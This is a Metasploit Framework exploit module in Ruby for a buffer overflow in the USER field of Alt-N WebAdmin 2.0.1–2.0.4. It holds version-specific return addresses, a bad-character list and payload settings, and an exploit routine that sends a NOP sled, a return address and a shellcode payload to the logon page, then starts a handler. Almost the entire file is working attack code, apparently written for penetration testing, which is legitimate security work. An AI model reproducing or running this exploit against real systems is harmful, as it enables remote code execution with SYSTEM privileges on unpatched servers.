metasploit-framework/modules/exploits/windows/http/altn_webadmin.rb

require 'msf/core'

module Msf

class Exploits::Windows::Http::ALTN_WebAdmin_Overflow < Msf::Exploit::Remote

	include Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Alt-N WebAdmin USER Buffer Overflow',
			'Description'    => %q{
				Alt-N WebAdmin is prone to a buffer overflow condition. This
				is due to insufficient bounds checking on the USER
				parameter. Successful exploitation could result in code
				execution with SYSTEM level privileges.
			},
			'Author'         => [ 'MC' ],
			'License'        => GPL_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'BID', '8024'],
					[ 'NSS', '11771'],
					[ 'MIL', '95'],

				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 830,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
					['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
					['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
					['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll	
				],
			'DisclosureDate' => 'Jun 24 2003'))
	end

	def exploit
		c = connect

		post_data = 'User=' + make_nops(168) + [target.ret].pack('V') + payload.encoded
		post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'

		req = c.request({
			'uri'          => '/WebAdmin.DLL?View=Logon',
			'method'       => 'POST',
			'content-type' => 'application/x-www-form-urlencoded',
			'cookie'       => 'User=y0; Lang=en; Theme=standard',
			'data'         => post_data,
		})
		
		req.headers['Accept'] = 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png'
		req.headers['Accept-Language'] = 'en'
		req.headers['Accept-Charset']  = 'iso-8859-1,*,utf-8'
		
		print_status("Sending request...")
		res = c.send_request(req)

		handler
		disconnect
	end

end
end